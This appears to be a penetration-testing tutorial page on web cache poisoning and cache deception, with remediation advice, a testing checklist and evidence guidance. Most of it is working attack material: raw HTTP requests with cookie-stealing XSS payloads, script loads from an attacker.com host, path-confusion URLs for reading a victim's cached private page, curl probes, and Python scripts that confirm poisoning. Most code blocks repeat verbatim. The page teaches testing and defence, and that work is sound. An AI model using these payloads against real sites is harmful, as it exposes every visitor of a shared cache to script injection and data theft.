Web Cache Poisoning
Web cache poisoning exploits caching mechanisms to serve malicious content to users. By manipulating inputs that aren't part of the cache key, attackers can inject payloads that get cached and served to all subsequent visitors.
Warning
Understanding Web Cache Poisoning
Web caches store responses to reduce server load and improve performance. Cache poisoning exploits the gap between what the cache considers "the same request" (cache key) and what actually affects the response.
Attack Flow
- Identify unkeyed input: Find a header/parameter that affects response but isn't in cache key
- Inject payload: Craft request with malicious value in unkeyed input
- Trigger caching: Ensure the poisoned response gets stored in cache
- Victim receives poison: Subsequent users get the cached malicious response
Web Cache Poisoning Attack Flow
# Basic Web Cache Poisoning Attack
# Step 1: Find an unkeyed header that affects the response
# The X-Forwarded-Host header is often unkeyed (not in cache key)
GET /en?region=us HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com
# Response includes attacker.com in links/scripts:
# <script src="https://attacker.com/static/main.js"></script>
# Step 2: The response gets cached
# Step 3: Other users requesting /en?region=us receive the poisoned response# Basic Web Cache Poisoning Attack
# Step 1: Find an unkeyed header that affects the response
# The X-Forwarded-Host header is often unkeyed (not in cache key)
GET /en?region=us HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com
# Response includes attacker.com in links/scripts:
# <script src="https://attacker.com/static/main.js"></script>
# Step 2: The response gets cached
# Step 3: Other users requesting /en?region=us receive the poisoned responseCache Keys Explained
The cache key determines which requests are considered "the same" for caching purposes. Typically includes:
Usually Keyed ✓
- • Request method (GET, POST)
- • Host header
- • URL path
- • Query string parameters
- • Accept-Encoding (sometimes)
Often Unkeyed ✗
- • X-Forwarded-Host
- • X-Forwarded-Scheme
- • X-Original-URL
- • Cookie (usually excluded)
- • Origin header
- • Request body (for GET)
Cache Key: Keyed vs Unkeyed Inputs
Information
Vary: Accept-Encoding, Accept-Language to understand cache behavior.
Finding Unkeyed Inputs
# Common Unkeyed Headers for Cache Poisoning
# Host override headers
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com
# Protocol/scheme manipulation
X-Forwarded-Scheme: http
X-Forwarded-Proto: http
X-Scheme: http
Front-End-Https: off
X-Forwarded-Ssl: off
# Path manipulation
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-Prefix: /..%2fadmin
# Port injection
X-Forwarded-Port: 443</script><script>alert(1)//
# Cache control manipulation
X-Forwarded-For: inject<script>
X-Real-IP: inject<script>
# Language/locale
Accept-Language: ../admin
X-Original-Locale: javascript:alert(1)# Common Unkeyed Headers for Cache Poisoning
# Host override headers
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com
# Protocol/scheme manipulation
X-Forwarded-Scheme: http
X-Forwarded-Proto: http
X-Scheme: http
Front-End-Https: off
X-Forwarded-Ssl: off
# Path manipulation
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-Prefix: /..%2fadmin
# Port injection
X-Forwarded-Port: 443</script><script>alert(1)//
# Cache control manipulation
X-Forwarded-For: inject<script>
X-Real-IP: inject<script>
# Language/locale
Accept-Language: ../admin
X-Original-Locale: javascript:alert(1)Param Miner
Param Miner is a Burp Suite extension that automatically discovers unkeyed headers and parameters that could be used for cache poisoning.
# Param Miner - Burp Extension for Cache Poisoning
# Install from BApp Store
Extensions → BApp Store → Param Miner → Install
# Basic usage - find unkeyed inputs
1. Right-click request in Proxy/Repeater
2. Extensions → Param Miner → Guess headers
3. Wait for results in Dashboard/Extensions output
# Key findings to look for:
- X-Forwarded-Host
- X-Forwarded-Scheme
- X-Original-URL
- X-Rewrite-URL
- X-Forwarded-Prefix
- Origin header reflections
- Custom headers specific to target
# Cache key indicators:
- Cache-Status: HIT/MISS
- X-Cache: HIT
- Age: 3600 (seconds cached)
- Vary: Accept-Encoding (headers in cache key)
- CF-Cache-Status (Cloudflare)# Param Miner - Burp Extension for Cache Poisoning
# Install from BApp Store
Extensions → BApp Store → Param Miner → Install
# Basic usage - find unkeyed inputs
1. Right-click request in Proxy/Repeater
2. Extensions → Param Miner → Guess headers
3. Wait for results in Dashboard/Extensions output
# Key findings to look for:
- X-Forwarded-Host
- X-Forwarded-Scheme
- X-Original-URL
- X-Rewrite-URL
- X-Forwarded-Prefix
- Origin header reflections
- Custom headers specific to target
# Cache key indicators:
- Cache-Status: HIT/MISS
- X-Cache: HIT
- Age: 3600 (seconds cached)
- Vary: Accept-Encoding (headers in cache key)
- CF-Cache-Status (Cloudflare)Cache Key Discovery Script
#!/usr/bin/env python3
"""
Cache Key Discovery Script
Identifies what parameters/headers are included in cache key
"""
import requests
import random
import string
import time
TARGET = "https://target.com/path"
CACHE_BUSTER = "".join(random.choices(string.ascii_lowercase, k=8))
def random_value():
return "".join(random.choices(string.ascii_lowercase, k=6))
def get_cache_headers(response):
"""Extract cache-related headers"""
cache_headers = {}
for header in ['cache-control', 'x-cache', 'cf-cache-status',
'age', 'cache-status', 'x-cache-status']:
if header in response.headers:
cache_headers[header] = response.headers[header]
return cache_headers
def test_header_keyed(header_name, url):
"""Check if a header is part of the cache key"""
# First request with unique value
value1 = random_value()
headers1 = {header_name: value1}
resp1 = requests.get(url, headers=headers1)
# Wait for potential caching
time.sleep(0.5)
# Second request with different value - should get same response if unkeyed
value2 = random_value()
headers2 = {header_name: value2}
resp2 = requests.get(url, headers=headers2)
# If responses match and second is cached, header is unkeyed
if resp1.text == resp2.text and 'HIT' in str(get_cache_headers(resp2)):
return False # Unkeyed - potential poisoning vector
return True # Keyed - in cache key
def main():
headers_to_test = [
'X-Forwarded-Host',
'X-Forwarded-Scheme',
'X-Forwarded-Proto',
'X-Original-URL',
'X-Rewrite-URL',
'X-Forwarded-Prefix',
'X-Host',
'Origin',
'X-Forwarded-For'
]
# Add cache buster to avoid stale responses
test_url = f"{TARGET}?cb={CACHE_BUSTER}"
print(f"[*] Testing cache key composition for {TARGET}")
print(f"[*] Cache buster: {CACHE_BUSTER}\n")
for header in headers_to_test:
is_keyed = test_header_keyed(header, test_url)
status = "KEYED (in cache key)" if is_keyed else "UNKEYED (potential poison vector!)"
icon = "[-]" if is_keyed else "[+]"
print(f"{icon} {header}: {status}")
if __name__ == "__main__":
main()#!/usr/bin/env python3
"""
Cache Key Discovery Script
Identifies what parameters/headers are included in cache key
"""
import requests
import random
import string
import time
TARGET = "https://target.com/path"
CACHE_BUSTER = "".join(random.choices(string.ascii_lowercase, k=8))
def random_value():
return "".join(random.choices(string.ascii_lowercase, k=6))
def get_cache_headers(response):
"""Extract cache-related headers"""
cache_headers = {}
for header in ['cache-control', 'x-cache', 'cf-cache-status',
'age', 'cache-status', 'x-cache-status']:
if header in response.headers:
cache_headers[header] = response.headers[header]
return cache_headers
def test_header_keyed(header_name, url):
"""Check if a header is part of the cache key"""
# First request with unique value
value1 = random_value()
headers1 = {header_name: value1}
resp1 = requests.get(url, headers=headers1)
# Wait for potential caching
time.sleep(0.5)
# Second request with different value - should get same response if unkeyed
value2 = random_value()
headers2 = {header_name: value2}
resp2 = requests.get(url, headers=headers2)
# If responses match and second is cached, header is unkeyed
if resp1.text == resp2.text and 'HIT' in str(get_cache_headers(resp2)):
return False # Unkeyed - potential poisoning vector
return True # Keyed - in cache key
def main():
headers_to_test = [
'X-Forwarded-Host',
'X-Forwarded-Scheme',
'X-Forwarded-Proto',
'X-Original-URL',
'X-Rewrite-URL',
'X-Forwarded-Prefix',
'X-Host',
'Origin',
'X-Forwarded-For'
]
# Add cache buster to avoid stale responses
test_url = f"{TARGET}?cb={CACHE_BUSTER}"
print(f"[*] Testing cache key composition for {TARGET}")
print(f"[*] Cache buster: {CACHE_BUSTER}\n")
for header in headers_to_test:
is_keyed = test_header_keyed(header, test_url)
status = "KEYED (in cache key)" if is_keyed else "UNKEYED (potential poison vector!)"
icon = "[-]" if is_keyed else "[+]"
print(f"{icon} {header}: {status}")
if __name__ == "__main__":
main()Header Injection Attacks
# Common Header Injection Scenarios
# 1. X-Forwarded-Host → Affects <base>, <link>, script src
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com
# Result: <script src="https://attacker.com/static/app.js">
# 2. X-Forwarded-Scheme → Force HTTP links in HTTPS page
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Scheme: http
# Result: All links become http:// enabling MITM
# 3. X-Forwarded-Prefix → Path injection
GET /api/data HTTP/1.1
Host: vulnerable.com
X-Forwarded-Prefix: /admin
# Result: Response thinks path is /admin/api/data
# 4. X-Original-URL → Access control bypass
GET /public HTTP/1.1
Host: vulnerable.com
X-Original-URL: /admin
# Front-end caches /public, back-end serves /admin# Common Header Injection Scenarios
# 1. X-Forwarded-Host → Affects <base>, <link>, script src
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com
# Result: <script src="https://attacker.com/static/app.js">
# 2. X-Forwarded-Scheme → Force HTTP links in HTTPS page
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Scheme: http
# Result: All links become http:// enabling MITM
# 3. X-Forwarded-Prefix → Path injection
GET /api/data HTTP/1.1
Host: vulnerable.com
X-Forwarded-Prefix: /admin
# Result: Response thinks path is /admin/api/data
# 4. X-Original-URL → Access control bypass
GET /public HTTP/1.1
Host: vulnerable.com
X-Original-URL: /admin
# Front-end caches /public, back-end serves /adminXSS via Cache Poisoning
# XSS via Cache Poisoning
# Scenario: X-Forwarded-Host reflected in page and unkeyed
# Step 1: Find reflection
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: test123
# Response shows:
# <link rel="canonical" href="https://test123/" />
# Step 2: Inject XSS payload
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script><link x="
# Response:
# <link rel="canonical" href="https://"></link><script>alert(document.cookie)</script><link x="" />
# Step 3: Ensure response is cached
# Check for: Cache-Status: HIT or X-Cache: HIT or Age: > 0
# Step 4: All subsequent visitors receive XSS payload
# Impact: Stored XSS affecting ALL users until cache expires# XSS via Cache Poisoning
# Scenario: X-Forwarded-Host reflected in page and unkeyed
# Step 1: Find reflection
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: test123
# Response shows:
# <link rel="canonical" href="https://test123/" />
# Step 2: Inject XSS payload
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script><link x="
# Response:
# <link rel="canonical" href="https://"></link><script>alert(document.cookie)</script><link x="" />
# Step 3: Ensure response is cached
# Check for: Cache-Status: HIT or X-Cache: HIT or Age: > 0
# Step 4: All subsequent visitors receive XSS payload
# Impact: Stored XSS affecting ALL users until cache expiresTip
Web Cache Deception
Cache deception is the reverse of cache poisoning. Instead of poisoning a cached page, you trick the cache into storing sensitive pages that shouldn't be cached.
# Web Cache Deception Attack
# Trick cache into storing sensitive user-specific responses
# Target: User profile page that shouldn't be cached
# Attack: Append static file extension to path
# Normal request (not cached - dynamic content)
GET /account/settings HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session
# Response: User's private settings, not cached
# Attack request (tricks cache into caching)
GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session
# If app ignores path suffix and serves /account/settings
# AND cache sees .css and caches it as static content:
# Step 1: Attacker tricks victim into visiting:
# https://vulnerable.com/account/settings/exploit.css
# Step 2: Cache stores victim's private page under that URL
# Step 3: Attacker requests same URL (no cookie needed):
GET /account/settings/exploit.css HTTP/1.1
Host: vulnerable.com
# Response: Victim's cached private settings!
# Path confusion variants:
/account/settings/..%2f..%2fstatic/file.js
/account/settings%00.js
/account/settings;.js
/account/settings%23.css# Web Cache Deception Attack
# Trick cache into storing sensitive user-specific responses
# Target: User profile page that shouldn't be cached
# Attack: Append static file extension to path
# Normal request (not cached - dynamic content)
GET /account/settings HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session
# Response: User's private settings, not cached
# Attack request (tricks cache into caching)
GET /account/settings/nonexistent.css HTTP/1.1
Host: vulnerable.com
Cookie: session=victim_session
# If app ignores path suffix and serves /account/settings
# AND cache sees .css and caches it as static content:
# Step 1: Attacker tricks victim into visiting:
# https://vulnerable.com/account/settings/exploit.css
# Step 2: Cache stores victim's private page under that URL
# Step 3: Attacker requests same URL (no cookie needed):
GET /account/settings/exploit.css HTTP/1.1
Host: vulnerable.com
# Response: Victim's cached private settings!
# Path confusion variants:
/account/settings/..%2f..%2fstatic/file.js
/account/settings%00.js
/account/settings;.js
/account/settings%23.cssCache Poisoning vs Cache Deception
Cache Poisoning
- • Attacker poisons the cached response
- • Victims receive attacker's payload
- • Exploits unkeyed inputs
- • Result: XSS, redirect, etc.
Cache Deception
- • Attacker tricks victim into caching their data
- • Attacker retrieves victim's cached data
- • Exploits path confusion
- • Result: Information disclosure
Fat GET Attacks
# Fat GET Request Cache Poisoning
# Some servers process body in GET requests but cache key ignores it
GET /?callback=loadData HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
callback=stealCookie
# If server uses body parameter but cache only keys on URL:
# Response: stealCookie({...data...})
# Cached response serves attacker's callback to all users
# Detection:
1. Send GET with body parameter
2. Check if body parameter affects response
3. Check if response is cached
4. If both yes → Fat GET cache poisoning possible# Fat GET Request Cache Poisoning
# Some servers process body in GET requests but cache key ignores it
GET /?callback=loadData HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
callback=stealCookie
# If server uses body parameter but cache only keys on URL:
# Response: stealCookie({...data...})
# Cached response serves attacker's callback to all users
# Detection:
1. Send GET with body parameter
2. Check if body parameter affects response
3. Check if response is cached
4. If both yes → Fat GET cache poisoning possiblePractice Labs
PortSwigger Cache Poisoning
Comprehensive labs covering all techniques
PortSwigger Cache Deception
Labs for web cache deception attacks
Param Miner
Burp extension for hidden parameter discovery
HackerOne Reports
Real-world cache poisoning disclosures
Testing Checklist
🔍 Reconnaissance
- ☐ Identify caching (X-Cache, Age, CF-Cache-Status)
- ☐ Check Vary header for cache key composition
- ☐ Identify CDN/cache provider in use
- ☐ Find cacheable endpoints (static, public content)
⚡ Poisoning Tests
- ☐ Test X-Forwarded-Host reflection
- ☐ Test X-Forwarded-Scheme
- ☐ Test X-Original-URL / X-Rewrite-URL
- ☐ Run Param Miner for hidden inputs
- ☐ Test Fat GET body parameter handling
🎭 Deception Tests
- ☐ Test static extension confusion (.css, .js, .png)
- ☐ Test path delimiter confusion (;, %00, %23)
- ☐ Test path normalization issues
- ☐ Check if user-specific pages get cached
📝 Documentation
- ☐ Record exact poisoning payload
- ☐ Document cache TTL/duration
- ☐ Note affected user scope
- ☐ Include cache header evidence
🔬 Advanced Cache Poisoning Techniques
Cache Poisoning vs Cache Deception — Deep Comparison
| Aspect | Cache Poisoning | Cache Deception |
|---|---|---|
| Attacker's goal | Inject malicious content into cache | Trick cache into storing victim's private data |
| Who visits first? | Attacker poisons, then victims get malicious content | Victim visits crafted URL, attacker retrieves cached data |
| Victim interaction | None (victim gets poisoned page normally) | Victim must click attacker's crafted link |
| Attack surface | Unkeyed inputs reflected in response | Path confusion between origin and cache |
| Impact | XSS, redirect, defacement (all visitors) | PII theft, session data (targeted victim) |
| Remediation | Key all reflected inputs, sanitize outputs | Strict cache rules, no path-based caching of dynamic pages |
| Difficulty | Medium — need to find unkeyed inputs | Low — just need path confusion |
CDN-Specific Cache Behavior
Different CDNs handle cache keys, normalization, and headers differently — exploits must be tailored:
# Cloudflare: Cache key includes query string by default
# but page rules can change behavior. Test:
# - cf-cache-status header reveals HIT/MISS/DYNAMIC
# - Cloudflare normalizes some headers (e.g., accepts X-Forwarded-For)
curl -sI "https://target.com/page?cb=$(date +%s)" | grep cf-cache
# Akamai: Uses Pragma headers for cache debugging
# X-Akamai-Session-Info and Pragma: akamai-x-check-cacheable reveal info
curl -sI -H "Pragma: akamai-x-check-cacheable" https://target.com/page
# Fastly: X-Cache and X-Served-By headers
# Fastly often ignores Vary headers, creating cache key mismatches
curl -sI https://target.com/page | grep -i "x-cache|x-served-by|age"
# AWS CloudFront: Cache key configurable via cache policy
# Default includes Host + query string, but custom policies may omit headers
# X-Cache header shows Hit/Miss from cloudfront
# Cache key normalization testing
# URL encoding: /page vs /page%20 vs /page+ — same cache key?
# Case sensitivity: /Page vs /page — same cache key?
# Trailing slash: /page vs /page/ — same cache key?
# Query order: ?a=1&b=2 vs ?b=2&a=1 — same cache key?
for variant in "/page" "/PAGE" "/page/" "/page%20" "/page?a=1&b=2" "/page?b=2&a=1"; do
echo "=== $variant ==="
curl -sI "https://target.com$variant" | grep -i "x-cache|age|cf-cache"
done# Cloudflare: Cache key includes query string by default
# but page rules can change behavior. Test:
# - cf-cache-status header reveals HIT/MISS/DYNAMIC
# - Cloudflare normalizes some headers (e.g., accepts X-Forwarded-For)
curl -sI "https://target.com/page?cb=$(date +%s)" | grep cf-cache
# Akamai: Uses Pragma headers for cache debugging
# X-Akamai-Session-Info and Pragma: akamai-x-check-cacheable reveal info
curl -sI -H "Pragma: akamai-x-check-cacheable" https://target.com/page
# Fastly: X-Cache and X-Served-By headers
# Fastly often ignores Vary headers, creating cache key mismatches
curl -sI https://target.com/page | grep -i "x-cache|x-served-by|age"
# AWS CloudFront: Cache key configurable via cache policy
# Default includes Host + query string, but custom policies may omit headers
# X-Cache header shows Hit/Miss from cloudfront
# Cache key normalization testing
# URL encoding: /page vs /page%20 vs /page+ — same cache key?
# Case sensitivity: /Page vs /page — same cache key?
# Trailing slash: /page vs /page/ — same cache key?
# Query order: ?a=1&b=2 vs ?b=2&a=1 — same cache key?
for variant in "/page" "/PAGE" "/page/" "/page%20" "/page?a=1&b=2" "/page?b=2&a=1"; do
echo "=== $variant ==="
curl -sI "https://target.com$variant" | grep -i "x-cache|age|cf-cache"
doneUnkeyed Query Parameters & Cookies
# Many CDNs strip query parameters from the cache key
# but the origin server still processes them → unkeyed input
# Test with Param Miner's "Guess GET parameters" scan
# Or manually:
# 1. Send: GET /page?utm_content=<script>alert(1)</script>
# 2. If response reflects the parameter AND gets cached:
curl "https://target.com/page?utm_content=CANARY_VALUE"
# Check if CANARY_VALUE appears in response
# Then check if a clean request returns the cached poisoned version:
curl "https://target.com/page" # No query param → should miss cache
# Unkeyed cookies
# Some CDNs don't include cookies in cache key (performance optimization)
# If the app reflects cookie values:
curl -b "lang=<script>alert(1)</script>" "https://target.com/page"
# If cached, all subsequent visitors get the XSS
# Internal cache poisoning (application-level)
# App caches (Redis, Memcached, local) often have different keying than CDN
# Poison the internal cache even if CDN cache is safe:
curl -H "X-Original-URL: /admin" "https://target.com/public-page"
# If internal cache keys on X-Original-URL but CDN doesn't,
# the admin page might be cached under /public-page# Many CDNs strip query parameters from the cache key
# but the origin server still processes them → unkeyed input
# Test with Param Miner's "Guess GET parameters" scan
# Or manually:
# 1. Send: GET /page?utm_content=<script>alert(1)</script>
# 2. If response reflects the parameter AND gets cached:
curl "https://target.com/page?utm_content=CANARY_VALUE"
# Check if CANARY_VALUE appears in response
# Then check if a clean request returns the cached poisoned version:
curl "https://target.com/page" # No query param → should miss cache
# Unkeyed cookies
# Some CDNs don't include cookies in cache key (performance optimization)
# If the app reflects cookie values:
curl -b "lang=<script>alert(1)</script>" "https://target.com/page"
# If cached, all subsequent visitors get the XSS
# Internal cache poisoning (application-level)
# App caches (Redis, Memcached, local) often have different keying than CDN
# Poison the internal cache even if CDN cache is safe:
curl -H "X-Original-URL: /admin" "https://target.com/public-page"
# If internal cache keys on X-Original-URL but CDN doesn't,
# the admin page might be cached under /public-pageCache Probing Methodology
Confirming cache poisoning at scale requires careful probing to verify the exploit affects real users:
import requests, time, hashlib
TARGET = "https://target.com/page"
HEADERS = {"X-Forwarded-Host": "attacker.com"} # Unkeyed header
def cache_buster():
"""Generate unique cache-busting query parameter"""
return f"?cb={hashlib.md5(str(time.time()).encode()).hexdigest()[:8]}"
# Step 1: Verify the header is unkeyed (doesn't change cache key)
url = TARGET + cache_buster()
r1 = requests.get(url) # Populate cache (clean)
r2 = requests.get(url, headers=HEADERS) # Same URL, added header
r3 = requests.get(url) # Fetch from cache
if "attacker.com" in r3.text:
print("[+] CONFIRMED: Header is unkeyed and reflected in cached response!")
else:
print("[-] Header appears to be keyed or not reflected")
# Step 2: Test persistence across cache nodes
# CDNs have multiple edge nodes — poisoning one doesn't poison all
for i in range(10):
r = requests.get(TARGET)
cache_status = r.headers.get('X-Cache', r.headers.get('CF-Cache-Status', 'unknown'))
has_payload = "attacker.com" in r.text
print(f"Request {i}: Cache={cache_status}, Poisoned={has_payload}")
time.sleep(1)
# Step 3: Estimate impact window
# Check TTL/max-age to know how long poison persists
cc = r1.headers.get('Cache-Control', '')
age = r1.headers.get('Age', '0')
print(f"Cache-Control: {cc}")
print(f"Current Age: {age}s")import requests, time, hashlib
TARGET = "https://target.com/page"
HEADERS = {"X-Forwarded-Host": "attacker.com"} # Unkeyed header
def cache_buster():
"""Generate unique cache-busting query parameter"""
return f"?cb={hashlib.md5(str(time.time()).encode()).hexdigest()[:8]}"
# Step 1: Verify the header is unkeyed (doesn't change cache key)
url = TARGET + cache_buster()
r1 = requests.get(url) # Populate cache (clean)
r2 = requests.get(url, headers=HEADERS) # Same URL, added header
r3 = requests.get(url) # Fetch from cache
if "attacker.com" in r3.text:
print("[+] CONFIRMED: Header is unkeyed and reflected in cached response!")
else:
print("[-] Header appears to be keyed or not reflected")
# Step 2: Test persistence across cache nodes
# CDNs have multiple edge nodes — poisoning one doesn't poison all
for i in range(10):
r = requests.get(TARGET)
cache_status = r.headers.get('X-Cache', r.headers.get('CF-Cache-Status', 'unknown'))
has_payload = "attacker.com" in r.text
print(f"Request {i}: Cache={cache_status}, Poisoned={has_payload}")
time.sleep(1)
# Step 3: Estimate impact window
# Check TTL/max-age to know how long poison persists
cc = r1.headers.get('Cache-Control', '')
age = r1.headers.get('Age', '0')
print(f"Cache-Control: {cc}")
print(f"Current Age: {age}s")🛡️ Remediation & Defense
Defensive Measures
Cache Configuration
- • Include all security-relevant headers in the cache key (e.g.,
Host,Origin) - • Use
Varyheader to key on headers that influence response content - • Disable caching for dynamic/sensitive responses
- • Set short TTLs on cacheable resources to limit poisoning window
Input Handling
- • Sanitize or reject unkeyed inputs reflected in responses
- • Strip or ignore unexpected/custom headers at the application layer
- • Validate
X-Forwarded-Hostand similar headers against allowlists - • Never reflect unkeyed header values in HTML without encoding
CWE References: CWE-349 (Acceptance of Extraneous Untrusted Data), CWE-525 (Browser Caching of Sensitive Information)
Evidence Collection
Poisoned Response: Cached response containing attacker-controlled content (XSS payload, redirect) served to other users from the cache
Cache Key Analysis: Document which headers/parameters are unkeyed (not part of the cache key) but reflected in the response
Persistence Test: Multiple requests from different IPs/sessions all receiving the poisoned response — proving cache-level impact, not just reflection
CDN Headers: Cache status headers (X-Cache: HIT, CF-Cache-Status, Age) confirming the poisoned response is served from cache
CVSS Range: Cache poisoning with XSS: 7.5–8.6 (High) | Mass user impact via CDN: 8.6–9.1 | Cache poisoning to DoS: 5.3–7.5
False Positive Identification
- Reflected but not cached: An unkeyed header reflected in the response is only a cache poisoning risk if the response is actually cached — check cache headers (Age, X-Cache) and verify with a second request.
- Short cache TTL: If the cache TTL is very short (seconds), the practical impact is limited — note the TTL and calculate the realistic exploitation window.
- Private cache only: Poisoning a browser's private cache only affects that one user — shared/CDN cache poisoning has much higher impact. Identify which cache layer is affected.
- Vary header protection: If the Vary header includes the unkeyed parameter, each variant gets its own cache entry — this may prevent mass exploitation.